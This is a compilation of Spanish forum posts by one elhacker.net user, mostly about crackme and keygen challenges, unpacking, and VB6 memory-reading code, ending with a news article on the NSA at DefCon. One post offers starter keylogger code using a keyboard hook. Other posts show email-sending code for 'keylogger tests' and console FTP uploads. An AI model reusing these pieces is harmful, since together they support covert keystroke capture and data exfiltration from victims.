Temas

Hola amigos otra ves vengo con la duda que abrí en el sub-foro de ingeniería inversa

http://foro.elhacker.net/ingenieria_inversa/como_leer_posicion_de_memoria_con_vb6-t415165.0.html

Pero ahora con el código que tengo en vb6 es el siguiente:

Este es el form:

Código (vb) [Seleccionar] Expandir


Option Explicit
Private Sub Form_Load()
lbl_Nombre.Caption = Environ("ComputerName")
If AbrirProceso Then
   lbl_Password.Caption = Leer(&H14FC80)
End If
End Sub
Private Sub Label1_Click()
End
End Sub


Este es el modulo:

Código (vb) [Seleccionar] Expandir


Option Explicit
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long

Private Const PROCESS_ALL_ACCESS = &H1F0FFF
Private P_HANDLE As Long
Private P_PID As Long

Public Function AbrirProceso() As Boolean
If FindWindow(vbNullString, "CrackShit") Then
   GetWindowThreadProcessId FindWindow(vbNullString, "CrackShit"), P_PID
   P_HANDLE = OpenProcess(PROCESS_ALL_ACCESS, False, P_PID)
End If
If P_PID = 0 Then
   MsgBox "El Crackme CrackShit No Esta en Ejecucion...", vbCritical, "Error De Ejecucion"
   AbrirProceso = False
   Exit Function
End If
If P_HANDLE = 0 Then
   MsgBox "El KeyGen No Pudo Abrir El Proceso CrackShit...", vbCritical, "Error Al Abrir El Proceso"
   AbrirProceso = False
   Exit Function
End If
AbrirProceso = True
End Function
Public Function Leer(Address As Long) As Byte
Dim Valor As Byte
Dim i As Long
For i = 0 To 12
  ReadProcessMemory P_HANDLE, Address + i, Valor, 1, 0&
  MsgBox Valor
Next i
Leer = Valor
End Function


Espero me ayuden ya que no lee nada

Nota: lo de el msgbox dentro del for son pruebas que asía yo para ver si leía algo y lo de retornar un byte también son pruebas con eso no hay problema eso déjenlo así si quieren yo después lo arreglo ya que me digan como a serle para leer

Saludos Flamer

Hola amigos el tema sonara algo confuso por que parece queba en otro subforo y si es asi cambeenlo...
Bueno a lo que boy es que tengo un crackme que genera valores aleatorios y pues alguien ya le hizo keygen en vb y mi pregunta es como leer la posicion de memoria del serial que genera el crackme cuando se esta ejecutando.

Nota: el keygen no funciona si no se esta ejecutando el crackme

lo que ase el keygen es igual al Cheat engine.
Se podria intentar con el Cheat engine pero no sabria que serial buscar ya intente

bueno saludos Flamer y tenia meses con esta duda y pues seme hizo bien abrir un hilo y preguntar aver si alguien de aqui sabia algo

Hola amigos soy Flamer y les traigo este tutorial del juego FeedingFrenzy que resolvi ase meses atras aqui el link:


http://ultrashare.net/hosting/fl/23c021e97c


saludos Flamer y espero lo disfruten

Hola como estan por aqui, ya que he estado un poco ocupado en mi trabajo y pues ya no he te nido tiempo de andar por

aqui por estos rumbos me e dado un poco de tiempo para traerles este reto..

Hoy les traigo un KeyGenME en el cual me he basado en un programa comercial (es un Juego) que ase tiempo lo

descargue y pues no lo habia resuelto (Registrado) por falta de tiempo y por que no tenia tanto cerebro jajajaja..

Bueno por fin lo resolbi y me gusto resolverlo y estudiar el codigo de generacion del serial y pues quiero compartir

el codigo de generacion en un Crackme ya que no puedo subir el juego por que seria un delito y no queremos eso asi

que se los traigo en un Keygenme y para ver quien puede lograr benserlo tambien bueno aqui el link:

https://www.mediafire.com/?ppaay9t1y4fr6bb


Nota: el keygen les tendra que quedar asi como el mio



me refiero a los 3 campos no al diseño ee, digo esto por que no quiero en el campo nombre de licencia sean nombres

raros ya que eso seria mas fasil

Bueno saludos Flamer  y vamos a jugar un poco a ver quien lo logra también 

Nota: si todo sale bien en mi trabajo y en el amor mas o menos en tres o cuatro meses me veran todos los dias por aqui

Hola gente pues me gusto la historia de el hacker net pero mas lo que hizo rojodos y me acorde de una cancion que se usa en mi ciudad y pues la modifique un poco y la adapte a rojodos bueno espero no me borren el hilo.

Rojodos:Alezz Alex Alex me estan atakando
me estan atakando quien me hecha la mano
aqui, aqui el hacker punto net
Brujo:Cual es su viper, cual es su viper viejo.
Rojodos:605,605, 605 a 10 paginas.
Brujo:aqui traigo su viper, aqui traigo su
viper.
Rojodos:Fierro,Fierro,fierro de volada de
volada ponte al tiro, ponte al tiro.
Sono el general gritaban por los radios me
estan atakando quien me hecha la mano
apoyo en boscada vienen 4 hacker si
guiendo mi espalda burle 2 al frente me
estan trabando no tengo antivirus nadien
me acompaña tambien bengo erido tan solo
a 10 paginas el seis cero cinco son mis
cordenadas el hacker net
deportivo......CONTINUARA

la cancion original es un corrido y no la pongo llaque puede que rompa las  regla y pues son prohibidas por la ley aserles propaganda

bueno saludos flamer y pues me gustan los corridos y que

Hola chicos aqui un tutorial de un crackme que se espuso en el concurso 11 de crackslatinos es muy sencillo pero en fin.

http://ultrashare.net/hosting/fl/
ce696b5136


ya despues de esto aver si me tomo unas vacaciones asi que creo que no me veran por aqui casi ya que estoy pasando por compromisos(es una chica) el cual me mantienen ocupado y dejo un proyecto de un creador de virus similar al virulator de Elecktro Hacker pero este en vbscript el cual esta empesado.

Saludos Flamer y aver como ando me hecho la vuelta por aqui

hola amigos tengo como un mes queriendo iniciar sesion en la pagina de ultrashare y me merca error...

Queria saber que saben ustedes pienso mandarle un mail al administrador ya que no puedo tener acceso a mis archivos y si sigue el problema creo que los boy adar por perdidos y hay estan los retos de ing. Inversa.

Saludos flamer y que saben ustedes

Hola amigos ando buscando un juego que e jugado antes pero en una de mis formateadas seme fue y como hase rato que lo perdi vengo aver si me ayudan a recordar el nombre las pistas son:

es igual al juego de la abeja maya pero los graficos son diferentes y el mono es diferente tambien.
Otra cosa es de recolectar flores tambien y a medio juego tomas un objecto (no me acuerdo que es ) y tiene la abilidad de pegar un saltos de vuelo y tomas otro y 2 saltos de buelo.

No me acuerdo si separa en el aire

bueno saludos flamer y espero que algien sepa que juego es

Hola gente del foro ahora bengo con un programa para enviar mail con la dll

vbSendMail el cual me marca error este es el code que tengo:

Código [Seleccionar] Expandir


Private WithEvents poSendMail As vbSendMail.clsSendMail

Private Sub Command1_Click()
Set poSendMail = New clsSendMail

With poSendMail
   .SMTPHostValidation = VALIDATE_HOST_DNS
   .EmailAddressValidation = VALIDATE_SYNTAX
   .Delimiter = ";"
   
   .SMTPHost = "smtp.gmail.com"
   .From = "flamer.mateus@gmail.com"
   .FromDisplayName = "polo"
   .Message = "mensaje de pruebas"
   .Attachment = "c:\prueba.txt"
   
   .Recipient = "flamer.mateus@gmail.com"
   .RecipientDisplayName = "noe"
   .Subject = "pruebas keylogger"
   .Send
End With
End Sub

Private Sub poSendMail_SendFailed(Explanation As String)
MsgBox Explanation, vbExclamation, "Error"
End Sub
Private Sub poSendMail_SendSuccesful()
    MsgBox "Se envio correctamente", vbInformation, "Correcto"
End Sub


ya lo agregue a referencias la dll y la registre al sistema

mi duda es si se tiene que iniciar sesion para enviar un mail con mi cuenta

saludos flamer y espero que me digan donde esta el error y por que nose

envia el mail

hola gente busco un servidor gratuito ftp donde pueda subir archivos por consola.
Abri una cuenta en soportehosting.com.ar
pero parece que no puedo subir archivos por consola hoy en dia.
Al prinsipio que me registre si se podia pero ahora no.

Saludos flamer y si saben de alguno diganme

hola gente estoy esperimentando un poco y pues quiero saber si se puede crear un archivo desde html ejecutando un script:

Código [Seleccionar] Expandir


<html>
<head>
<script>
function WriteFile()
{

var Archivo = new ActiveXObject("Scripting.FileSystemObject");
var File = Archivo.CreateTextFile("c:\\Pruebas.txt",true);
File.WriteLine("Hola mundo");
File.Close();

}

</script>
</head>
<body>

<p>Creando Archivo</p>

<input type='button' onclick=' WriteFile()' value='Crealo' />
</body>
</html>


lo malo que no me funsina quisiera saber que tengo mal

Yo quiero dar click al boton y que se cree el archivo

saludos Flamer y espero me contesten

Hola Brujo abro este tema para pedirte que no me bloques los proxys ya que estoy navegando con ellos, almenos que resibas un atake pues cierramelos pero avisame.

austedes les sona raro pero horita acabo de volver a poder navegar con el internet free y pues este internet ase dependencia de proxys para poder navegar aqui esta uno de los proxys que no me funciona para el foro

Código [Seleccionar] Expandir


dailiyi-su5.appspot.com


este proxy que es uno de mis favoritos no logro entrar al foro me manda a otra pagina de el hacker.net

solo te pido que no me los bloquees, como en otras paginas como indetectables, yo able con el administrador y no me crello sobre el internet free espero que tu si y los demas

te lo pido por que es una de mis paginas favoritas

saludos Flamer

Hola compañeros ahora bengo con una pregunta o ayuda.

La cosa es esta cuando yo me inicie en la ingeneria inversa mi primer crackme que logre crackear fue el de Hendrix, al rededor del año 2008 el cual el link estaba vivo pero ahora que veo el hilo, el crackme como debe de suponerse ya ase muncho tiempo el link esta caido y pues pido ayuda para ver si alguien tiene una copia de el que me pueda mandar para ponerlo en mi coleccion de crackmes ya que soy adicto a coleccionar este tipo de programas.

El hilo es este:

foro.elhacker.net/desafios_wargames/crackmee_by_hendrix-t118872.0.html


bueno saludos flamer y pues ase muncho de este crackme y aver si alguien tiene una copia...

hola a todos.
Hago este tema para ver si me pueden mandar una muestra de alguno de estos virus por privado.
Ya que quiero analisar un poco estos bichos y pasar el rato, si pueden de los tres y mas el policia si lo tienen.

Bueno saludos flamer y me los envian por privado por que no creo que dejen mostrar los link aqui en el hilo

hola a todos como lo pedian bastante lo logre terminar solo faltaba la mitad y pues tube algo de tiempo y me desidi a terminarlo aqui esta el tutorial del crackme 2 de Devastador


http://ultrashare.net/hosting/fl/bc127382ff


que lo disfruten y sea de su agrado

saludos flamer y bienvenido Devastador

hola amigos mi duda es esta como arreglas un archivo que fue empacado con Zprotect.
El archvo este ya lo desempaque a mano y le arregle las apis que marcaban error y si se ejecuta el problema esta al quererlo abrir con el resurce hacker me marca error

saludos flamer

hola amigos como no e acavado el tutorial por falta de tiempo aqui les traigo el keygen del crackme 2 de devastador

ultrashare.net/hosting/fl/53c1787e2d


saludos flamer y lo traigo para compartir algo

hola amigos como casi nadie de los nuevos lee las reglas por que sabemos que son aburridas y puro leer da flojera y seme ocurrio una idea.
deberian de poner unas video reglas, un video donde llame la atencion algo chistoso y aprendan sobre las reglas del foro pero diran quien loba hacer ya que el brujo tiene muncho trabajo para administrar el foro y los moderadores tambien.
Propongo un reto de video reglas aver quien las ase mejor o algun donante que tenga tiempo de donarlas que quiera dejar su marca en el foro.

Saludos y Que les parece mi idea

Hola gente aqui les traigo un reto de imagenes, el objetivo es crear la imagen que estan abajo en el paint pero con unas simples reglas:

1-no vale pasar por donde mismo, pero atrabesar las lineas si vale

2-sin soltar el boton izquierdo del mause

aqui las imagenes

Nivel Uno:



Nivel Dos:



Nivel Tres:



Nivel Cuatro:



y el Imposible



este ultimo loe logrado en el piso, tierra y en libreta en el paint todavía no

saludos Flamer y espero se entretengan un rato que yo todos los e resuelto en libreta

pues mi duda es si yo creo x programa en vb que use el CommonDialog este se ejecuta en otra maquina que no este el vb6

saludos flamer y yo personalmente en otra pc pero quiero que me respondan ustedes

hola amigos pues no se donde bajar este programa

me e bajado el wktvbdebugger v.1.4 pero no me funciona y busco otra version aver si me funciona

tengo windows xp y Service Pack 3

Saludos Flamer

Hola gente les traigo una noticia que ami me parecio interesante.

descubren un casco nazi en marte lo cual meda una hipotesis.

1-los marsianos se cuestraron un nazi y el casco lo tiraron en marte

aqui el link:

http://www.elespectador.com/noticias/actualidad/articulo-422669-un-casco-nazi-marte


saludos Flamer

hola amigos aqui les traigo un aporte para los que no saben como hacer un keylogger hook aqui les doy una idea de como pueden empesarlo

Code Form

Código [Seleccionar] Expandir


Private Sub Form_Load()
If App.PrevInstance Then: End
TecladoHook
End Sub



Code Modulo

Código [Seleccionar] Expandir


Option Explicit

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Private Const WH_KEYBOARD_LL As Long = 13

Private Hook As Long
Public Function TecladoHook()
Hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf TeclaPresionadas, App.hInstance, 0)
End Function
Public Function TeclaPresionadas(ByVal wParam As Long, lParam As Long) As Long

Dim zx As Integer

For zx = 65 To 90
   If GetAsyncKeyState(zx) Then
      MsgBox Chr(zx)
      Exit For
   End If
Next zx
End Function


ahora si a compilarlo y ejecutarlo

Nota 1: aclaro el code es mio no lo copie de otra parte como otros por hay
Nota 2: esto es solo una probadita de como hacer un hook al teclado ustedes pongan lo demas

Saludos Flamer y espero les sirva

hola amigos intento subir un archivo a un servidor ftp por batch y quiero que me digan donde esta el error:

Archivo Bat

Código [Seleccionar] Expandir


ftp -s:datos.txt


Archivo datos.txt

Código [Seleccionar] Expandir


open ftp.soportehosting.com.ar
sopor_*****
*******
binary
lcd "c:\"
put "datos.txt"
close
bye


les comento por que no me funciona

Saludos Flamer y espero ayuda

hola amigos resien me acavo de registrar en esta web donde ofresen un servidor ftp gratuito.

soportehosting.com.ar

el problema es que yo quiero subir archivos mediante la consola de msdos y no puedo ni conectarme al host.

Si me podeis ayudar en algun servidor que permita esto o averiguar como aserle.

Saludos flamer y gracias

hola amigos tube algo de tiempo y aqui estan los retos de este mes de mayo.

1-Rosy

2-CrackMe#3

3-crcme

4-Humanoid.ASM.KeyGenMe

5-Ice9

6-InjectMe1

Código [Seleccionar] Expandir


http://ultrashare.net/hosting/fl/a74e334e5b


Reglas:

Código [Seleccionar] Expandir


http://foro.elhacker.net/ingenieria_inversa/retos_mensuales_de_reversing-t371874.0.html


Lista de Ganadores
-----------------------------------------------------
|  Usuario  | Reto |          Logro             |
-----------------------------------------------------
|   Flamer    |   6   |         Tutorial            |
-----------------------------------------------------
|   Kaltorak |   6   | Tutorial y inyeccion |
-----------------------------------------------------
|   Kaltorak |   3   |  Tutorial y Keygen   |
-----------------------------------------------------
|   mDrinky |   4   |             serial            |
-----------------------------------------------------
|   Kaltorak |   1   | Tutorial y keygen    |
-----------------------------------------------------
|   Kaltorak |   2   |        Tutorial             |
-----------------------------------------------------
|   Kaltorak |   4   | Tutorial y keygen    |
-----------------------------------------------------
|   Kaltorak |   5   | Tutorial y keygen    |
-----------------------------------------------------

Soluciones kaltorak
-----------------------------------------------------------
1 - Rosy
-----------------------------------------------------------
Name:  kaltorak
Serial:  2519813120

Tutorial: http://ultrashare.net/hosting/fl/01f93bb81e
Keygen: http://ultrashare.net/hosting/fl/1db273baf4
Tutorial en PDF: http://ultrashare.net/hosting/fl/ec6e3ecb9e
-----------------------------------------------------------
2 - CrackMe#3

-----------------------------------------------------------
PASSWORD:  UNN

Tutorial: http://ultrashare.net/hosting/fl/0467630f02
Keygen: http://ultrashare.net/hosting/fl/06dcbe4c58
Tutorial en PDF: http://ultrashare.net/hosting/fl/849f5f5195
-----------------------------------------------------------
3 - crcme:
-----------------------------------------------------------
Serial:  xwrsxchp

Tutorial: http://ultrashare.net/hosting/fl/e1fe7acc78/Tutorial_CRCME
Keygen: http://ultrashare.net/hosting/fl/5c637d7823/KEYGEN
Tutorial en PDF: http://ultrashare.net/hosting/fl/c7666ed4ca
-----------------------------------------------------------
4 - Humanoid.ASM.KeyGenMe
-----------------------------------------------------------
Name: kaltorak
Serial: kjjaj42W-1384017640

Tutorial: http://ultrashare.net/hosting/fl/993e470d32
Keygen: http://ultrashare.net/hosting/fl/6f5a6062ed
Tutorial en PDF: http://ultrashare.net/hosting/fl/ee37aaea21
-----------------------------------------------------------
5 - Ice9:
-----------------------------------------------------------
Name: kaltorak
Serial: 157324473torak

Tutorial: http://ultrashare.net/hosting/fl/18d6052393/Tutorial_ice9
Keygen: http://ultrashare.net/hosting/fl/7724625d1c/KEYGEN
Tutorial en PDF: http://ultrashare.net/hosting/fl/391219a9d1
-----------------------------------------------------------
6 - InjectMe #1:
-----------------------------------------------------------
Tutorial en PDF: http://ultrashare.net/hosting/fl/c5a9962539
-----------------------------------------------------------

Soluciones Flamer
-----------------------------------------------------------
6 - InjectMe #1:
http://ultrashare.net/hosting/fl/2da92c704d

saludos Flamer y que se diviertan

bueno esto lo hago para saber sus experiensias y saber que es lo que les gusta mas.
empiezo con migo: a mi me gusta mas leer los temas de gente que viene a pedir crack y los regresan para atras por que a veces lo hacen con estilo como fly.

Saludos flamer

Hola gente estoy asiendo pruevas con el asprotect y empaque un ejecutable hecho por mi y logre llegar a el OEP basandome en el original al reparar el IAT con el ImportReconstructor sale Yes todo pero al querer ejecutar el exe desempacado no se ejecuta, nose por que, es lo que quiero que me digan que me hace falta...
Lo que pienso es que el IAT no quedo todo reparado, creo que las direcciones apuntan como si estubiera empacado con el Asprotect bueno eso es lo que pienso pero nose como repararlo.

Saludos flamer y tincopasan aver si me puedes ayudar ya que siempre has estado presente en mis mensajes publicos gracias por tu ayuda

Link de muestras.

ultrashare.net/hosting/fl/7d80f0060d


Nota: perdonen las faltas de ortografia

Hola amigos a ver quien me ayuda con este error mio.
estoy leyendo la leccion 51 de Ricardo narvaja donde tiene que desempacar el ASProtect.2.3 ya puse ollybone.dll y RL!Weasle.dll en la carpeta de plugins y ollybone.sys y importer.dll  en la carpeta del olly y sigo los pasos presiono F7 hasta llegar al PUSHAD luego presiono la M (MAPA DE MEMORIA) y pongo un SET BREAK ON EXECUTE en la parte del CODE luego presiono F9 se detiene en el RET despues quito el SET BREAK ON EXECUTE presiono F7 para seguir y lo vuelvo a poner y presiono F9 y me sale ERROR 45.

No entiendo por que si alguien me lo explicara por que y como llegar al OEP

Saludos flamer

hola amigos como no pienso poner nada este mes les dejo este serialme para que se entretengan un rato esta sencillo, lo hice asi por que esta diseñado para los que resien inician  y se animen mas en participar aqui el link.

Código [Seleccionar] Expandir


ultrashare.net/hosting/fl/f67a4434e0


esta hecho en vb, no esta empacado y nivel 0 pienso yo

saludos flamer y a reversear

Nota: modificado el reto y el link

hola amigos siempre me habia preguntado de donde habian sacado su nick o nombre de usuario y pienso que no soy el unico, y pregunto por que hay algunos muy raros o de mala espina, como el mio Flamer el cual ya me comentaron una ves que lo cambiara no recuerdo quien pero se confunde con flame lo cual es otra cosa en fin.

La historia de mi nick yo lo invente sin saber que habia fotos de el en internet la cual es la que pongo, pero me hago llamar flamer por que me gusta el fuego, las llamas y como suena pero pensaba llamarme bolt como la pelicula.

Cuenten el por que de su nick y si este tema ya se hablo una ves ase 1 o 2 años recuerden que el tiempo ya paso y los usuarios son otros y dise una regla que no vale revivir temas viejos

Nota: perdonen las faltas de ortografias pero asi soy

saludos flamer

hola amigos ya que hice este tutorial y no pude ponerlo en el otro foro de indetectables llaque me marca error cuando intento crear un nuevo tema lo posteo aqui

http://ultrashare.net/hosting/fl/54df5e34cf

el objetivo del reto es encontrar el algoritmo de creacion del keygen y hacer otro igual.
Aqui esplico como
saludos flamer y espero les guste ya que es el primero

Hola amigos aqui estan los retos para este mes

1-TinyAsm

2-Crackme in assembly

3-Keygenme#1 By BlZbB

4-CrackMe  KeyGenMe FQV #2

5-My KeygenMe

6-CrackMe V1 ASM Yo-Mismo

Nota: Todos de nivel Newbies para ver si se anima mas la gente a participar....

no hay packers

Código [Seleccionar] Expandir


http://ultrashare.net/hosting/fl/4287410ae5


reglas

http://foro.elhacker.net/ingenieria_inversa/retos_mensuales_de_reversing-t371

874.0.html

Lista de Concursantes

-----------------------------------------------
|   Usuario   |   Reto  |        Logro          |
-----------------------------------------------
|    negux    |     1     |      Tutorial         |
-----------------------------------------------
|  Kaltorak   |     1    |      Tutorial          |
-----------------------------------------------
|  Flamer     |     4    |        Keygen        |
-----------------------------------------------
| Avesudra  |     6    | Tutorial y Keygen |
-----------------------------------------------
|   Kaltorak  |    2    | Tutorial y Keygen |
-----------------------------------------------
| Avesudra  |    5     |        Keygen        |
-----------------------------------------------
|   Kaltorak  |    3    | Tutorial y Keygen |
-----------------------------------------------
|   Kaltorak  |    4    | Tutorial y Keygen |
-----------------------------------------------
|   Kaltorak  |    5    | Tutorial y Keygen |
-----------------------------------------------

Respuestas

negux

TinyAsm
http://ricardonarvaja.info/WEB/CONCURSOS%202012/CONCURSO%2010/

tinyasm_by_negux.rar

kaltorak

TinyAsm
http://uploaded.net/file/ivt5uv17

Crackme in assembly
Tutorial : http://ul.to/a31ghksz

Keygen: http://ul.to/ajeh7ywx

Keygenme#1 By BlZbB
Tutorial : http://ul.to/0m3zudh9

Keygen: http://ul.to/4qevayzh

CrackMe  KeyGenMe FQV #2
Tutorial : http://ul.to/j8n7052j

Keygen: http://ul.to/smde1fsl

My KeygenMe
Tutorial : http://ul.to/xv34um6u

Keygen: http://ul.to/fxsdsvfu

Flamer

CrackMe  KeyGenMe FQV #2
http://ultrashare.net/hosting/fl/9433bb81bb

Avesudra

CrackMe V1 ASM Yo-Mismo
https://www.dropbox.com/s/36p5bntebq3t7qk/Tutorial%20y%20Keygen%5

BCrackMe_V1_ASM_-_Yo-Mismo.zip


My KeygenMe
https://www.dropbox.com/s/wxjtws7bteodktp/keygen%5BMy_KeygenMe%

5D.zip

saludos Flamer y Feliz año nuevo 2013

hola pido perdon dije que hiba a tomar unas largas vacaciones por que ya no tenia tiempo por mi trabajo, pero tengo un ratito libre y les dejo este reto esta medio complicadito para mi ya que no he logrado el keygen al 100%  pero en fin aqui el link

http://ultrashare.net/hosting/fl/5d53b15cfe

el keygenme lo programe yo en masm y radasm, diganme si tiene errores para corregirlos.
reglas:
pues vale parchar pero es fasil pero si quieren aprender programen el keygen
saludos flamer y perdon.

A y con los retos si tengo tiempo para enero y si estoy libre los pongo

NOTA IMPORTANTE: el link fue cambiado por que el programa tenia un error el cual yo ya corregi

Hola amigos aqui estan los retos de este mes

1-VaZoNeZ`s KeygenMe #1 by VaZoNeZ
----------------------------------------------------------------
   Published: 22. Jul, 2008
   Difficulty: 1 - Very easy, for newbies
   Platform: Windows
   Language: Assembler

2-serialme by toshimi
----------------------------------------------------------------
   Published: 22. Feb, 2006
   Difficulty: 1 - Very easy, for newbies
   Platform: Windows
   Language: Assembler

3-My Simple KeyGenMe#1 by Kostya
----------------------------------------------------------------
   Published: 10. Jul, 2006
   Difficulty: 1 - Very easy, for newbies
   Platform: Windows
   Language: Assembler

4-EASY keygenme by [][][][][]
-------------------------------------------------------------
   Published: 20. Mar, 2011
   Difficulty: 1 - Very easy, for newbies
   Platform: Windows
   Language: Borland Delphi

5-Xeprotect by ecokey
-------------------------------------------------
   Published: 06. Oct, 2009
   Difficulty: 2 - Needs a little brain (or luck)
   Platform: Windows
   Language: Borland Delphi

6-WTF Serial protected - Round #1 by skjobax
-------------------------------------------------------------------
   Published: 14. Jan, 2011
   Difficulty: 2 - Needs a little brain (or luck)
   Platform: Windows
   Language: .NET

Código [Seleccionar] Expandir


http://www.mediafire.com/?fmp33ji4cc88nja


• Reglas para el reto

T=Tutorial
Kc=Keygen Compilado
Ksc=Keygen Sin Compilar
S=Serial

-------------------------------------------------
|     Usuario       |     Reto    |     Logro     |
-------------------------------------------------
 jEUDi17                  3                 S      
-------------------------------------------------
 negux                     1               Ksc    
-------------------------------------------------
 Tinkipinki                1                 S        
-------------------------------------------------
 Tinkipinki                3                 S        
-------------------------------------------------
 Tinkipinki                4                 S        
-------------------------------------------------
 negux                     4                Kc        
-------------------------------------------------
 negux                     6                S        
-------------------------------------------------
  negux                     2                S       
-------------------------------------------------

saludos Flamer y que se diviertan

Hola amigos pues aqui estan los retos para este mes:

1-Evil2006's Evil 1.1 Unpackme
-----------------------------------------------
  autor: by Evil2006
  Difficulty: 1 - Very easy, for newbies
  Language: (Visual) Basic
  Platform: Windows
2-UnpackMe#1_by_KLiZMA
-----------------------------------------------
  autor:  by KLiZMA
  Difficulty: 2 - Needs a little brain (or luck)
  Language: Borland Delphi
  Platform: Windows
3-KeyGenMe_#4 by Serialcracker
-----------------------------------------------
   autor: by Serialcracker
   Difficulty: 1 - Very easy, for newbies
   Language: (Visual) Basic
   Platform: Windows
4- KeygenMe_By_Fisser
-----------------------------------------------
   autor: By Fisser
   Published: 25. Jun, 2008
   Difficulty: 1 - Very easy, for newbies
   Language: (Visual) Basic
   Platform: Windows
5-Simple KeygenMe#2 by Zyel
-----------------------------------------------
   autor: by Zyel
   Published: 24. Jan, 2011
   Difficulty: 1 - Very easy, for newbies
   Language: C/C++
   Platform: Windows
6-KeygenMe by versus
-----------------------------------------------
   autor: by versus
   Published: 07. Oct, 2010
   Difficulty: 1 - Very easy, for newbies
   Language: Borland Delphi
   Platform: Windows
-----------------------------------------------



Link de descarga:http://www.mediafire.com/?8q3082k1w2ps61j

• Reglas para el reto




Lista De Logros
-------------------------------------------------------------------------------
|   Usuario            |                     Reto                    |    Logro        |
-------------------------------------------------------------------------------
| MSCK Argentina |  Evil2006's Evil 1.1 Unpackme    |  Explicacion  |
-------------------------------------------------------------------------------
| MSCK Argentina |  UnpackMe#1_by_KLiZMA          |  Explicacion  |
-------------------------------------------------------------------------------
|    jEUDi17           |  KeygenMe #4 SerialCracker    |      Serial      |
-------------------------------------------------------------------------------
|    jEUDi17           |  Simple KeygenMe #2 Zyrel      |      Serial      |
-------------------------------------------------------------------------------
|    jEUDi17           |  KegenMe by Fisser                  |     Serial       |
-------------------------------------------------------------------------------
|    Dethwell         |  KeygenMe #4  SerialCracker    |     Serial       |
-------------------------------------------------------------------------------
|   apuromafo       |  KegenMe by Fisser                  |    Tutorial      |
-------------------------------------------------------------------------------
|   FaQuiVer          |  Simple KeygenMe#2 by Zyel   |     Keygen     |
-------------------------------------------------------------------------------
|   FaQuiVer          |  KeygenMe #4  SerialCracker   |    Keygen      |
-------------------------------------------------------------------------------
|      Flamer          |  KeygenMe #4  SerialCracker   |     Keygen     |
-------------------------------------------------------------------------------
|   FaQuiVer          |  KegenMe by Fisser                  |    Keygen      |
-------------------------------------------------------------------------------
|   Tinkipinki         |  Simple KeygenMe#2 by Zyel   |      Serial       |
-------------------------------------------------------------------------------
|   Tinkipinki         |  KeygenMe #4  SerialCracker   |      Serial      |
------------------------------------------------------------------------------
|   Tinkipinki         |  KegenMe by Fisser                  |      Serial      |
------------------------------------------------------------------------------
|   FaQuiVer          |  KeygenMe by versus               |      Serial      |
------------------------------------------------------------------------------
|   Nop+              |  KeygenMe by versus                |    Tutorial     |
------------------------------------------------------------------------------


Soluciones
-----------------------------------------------------------------------------------
Apuromafo
-----------------------------------------------------------------------------------

http://www.ricardonarvaja.info/WEB/CONCURSOS%20VIEJOS/CONCURSOS%202008/CONCURSO%203/keygenme%20Fisser%20Apuromafo.rar

-----------------------------------------------------------------------------------
FaQuiVer
-----------------------------------------------------------------------------------

https://www.dropbox.com/s/ijx9kg0tjm0y0re/KeyGen%20Zyrel.rar



https://www.dropbox.com/s/ee23uzq2z3omh42/KeyGen%20Fissell.rar



https://www.dropbox.com/s/i6mngmbh182r1uv/SKeyGen_SerialCracker%20%234.rar

--------------------------------------------------------------------------------------
Nop+
--------------------------------------------------------------------------------------

https://rapidshare.com/files/2919899036/Crackme_octubre2012.pdf

--------------------------------------------------------------------------------------
Flamer
--------------------------------------------------------------------------------------

http://ultrashare.net/hosting/fl/16957bdad4/Keygen_Flamer.zip

---------------------------------------------------------------------------------------


Saludos Flamer y Reto Finalisado gracias

El director de la Agencia de Seguridad Nacional asistió a la cumbre de piratas informáticos DefCon, donde les ofreció empleo

LAS VEGAS (CNN) — Ataviado con camiseta y pantalones de mezclilla, el jefe del servicio secreto estadounidense apareció en escena este viernes en la convención más grande de hackers del país para ofrecerles un empleo.

"En esta sala, esta sala de aquí, se encuentra el talento que nuestra nación necesita para asegurar el ciberespacio", dijo el director de la Agencia de Seguridad Nacional, general Keith Alexander, al público de pie en la DefCon, un encuentro en Las Vegas al cual se espera que asistan 16,000 asistentes, una cifra récord.

"Necesitamos gran talento. No pagamos tanto como los demás, pero somos atractivos", añadió el también cabeza del Cibercomando de EU.

La presencia de Alexander es un hito para la DefCon, la Meca de los piratas informáticos, los cuales a menudo tienen una difícil relación con las autoridades federales. La DefCon es la hermana más grande, más salvaje y menos oficial de BlackHat, la conferencia de seguridad cibernética que terminó el jueves también en Las Vegas.

BlackHat atrae a trabajadores trajeados de seguridad informática. En la DefCon se visten con camisetas y pasan el fin de semana mezclándose con los criptógrafos, desarrolladores de programas, investigadores de seguridad y con un puñado de agentes militares y de la policía, con y sin uniformes.

DefCon tiene fama de escaparate para los hackers de élite. Los gafetes de inscripción por sí solos son una proeza técnica, con una placa de circuito personalizable. Un grupo de hackers llamado Ninja Networks pone en funcionamiento una red privada de celulares para conversar durante el evento, una maniobra que consiguió los elogios de Alexander durante su intervención.

Ese tipo de cosas son las que necesita el gobierno, dijo. Jugando con el público, Alexander recitó una larga lista de estrellas de la industria de la tecnología, como Vint Cerf y Aitel Dave, quienes han estado en la nómina federal.

"Somos los que construimos este internet", dijo Alexander, haciendo referencia al papel clave que desempeñaron las agencias como la DARPA (Agencia de Investigación de Proyectos Avanzados de Defensa) en los primeros días de la red. "Ahora somos los que tenemos que mantenerla segura, y creo que ustedes nos pueden ayudar a eso".

Para recalcar la propuesta, la Agencia Nacional de Seguridad puso en marcha un sitio especial de reclutamiento para el show:www.nsa.gov/careers. No es la típica página para profesionistas del gobierno. Este incluye la frase: "Si, por así decirlo, cuenta con algunas indiscreciones en su pasado, no se alarme".

